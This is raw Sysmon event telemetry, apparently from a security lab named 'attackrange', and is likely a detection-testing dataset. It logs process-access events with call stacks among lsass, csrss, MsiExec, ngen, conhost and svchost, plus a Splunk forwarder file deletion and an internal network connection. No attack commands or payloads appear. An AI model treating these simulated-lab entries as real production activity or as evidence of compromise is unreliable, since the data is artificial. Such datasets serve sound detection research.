14:43:42.554{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-3107-00000000F001}6336c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.522{7BD73061-6F1E-613B-3207-00000000F001}31241372C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-3107-00000000F001}6336c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.522{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3207-00000000F001}3124C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.507{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3107-00000000F001}6336c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.507{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-3107-00000000F001}6336c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.491{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-2F07-00000000F001}7076c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.491{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-2F07-00000000F001}7076c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.460{7BD73061-6F1E-613B-3007-00000000F001}44241640C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-2F07-00000000F001}7076c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.444{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-3007-00000000F001}4424C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.444{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-2F07-00000000F001}7076c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.444{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-2F07-00000000F001}7076c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.444{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.429{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=796D4DF4F624DE961A2EF495B95C37F0,SHA256=6BFE15C802D4028F2DCA475BDE237273A55D9D084A0DEEFBFD6018C0984A6C53,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.413{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-2D07-00000000F001}4120c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.413{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-2D07-00000000F001}4120c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000038646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:40.538{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59210-false10.0.1.12-8000- 10341000x800000000000000038645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.366{7BD73061-6F1E-613B-2E07-00000000F001}22404288C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-2D07-00000000F001}4120c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.351{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-2E07-00000000F001}2240C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F1E-613B-2D07-00000000F001}4120c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F1E-613B-2D07-00000000F001}4120c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000038641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.335{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.304{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-2A07-00000000F001}5916c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.304{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F1E-613B-2A07-00000000F001}5916c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:42.241{7BD73061-6F1E-613B-2B07-00000000F001}62005544C:\Windows\system32\conhost.exe{7BD73061-6F1E-613B-2A07-00000000F001}5916c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 